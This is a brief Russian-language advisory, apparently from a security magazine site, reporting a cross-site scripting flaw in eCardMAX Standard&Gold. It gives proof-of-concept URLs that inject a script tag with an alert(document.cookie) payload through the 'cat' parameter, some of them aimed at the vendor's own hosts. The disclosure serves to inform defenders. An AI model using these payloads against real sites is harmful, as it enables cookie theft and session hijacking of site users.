Межсайтовый скриптинг в eCardMAX

Рекомендуем почитать:

Xakep #305. Multi-Step SQLi

• Содержание выпуска
• Подписка на «Хакер»-60%

Software: eCardMAX Standard&Gold
Vendor: eCardMAX www.ecardmax.com
 
Межсайтовый скриптинг:

http://www.xxx.com/index.php?cat=%3Cscript%3Ealert (document.cookie)%3C/script%3E〈=

Примеры:

http://www.ecardmax.com/gold/index.php?cat= %3Ch1%3EHello%3C/h1%3E〈=
http://www.ecardmax.com/greetings/index.php?cat= %3Cscript%3Ealert(document.cookie)%3C/script%3E〈=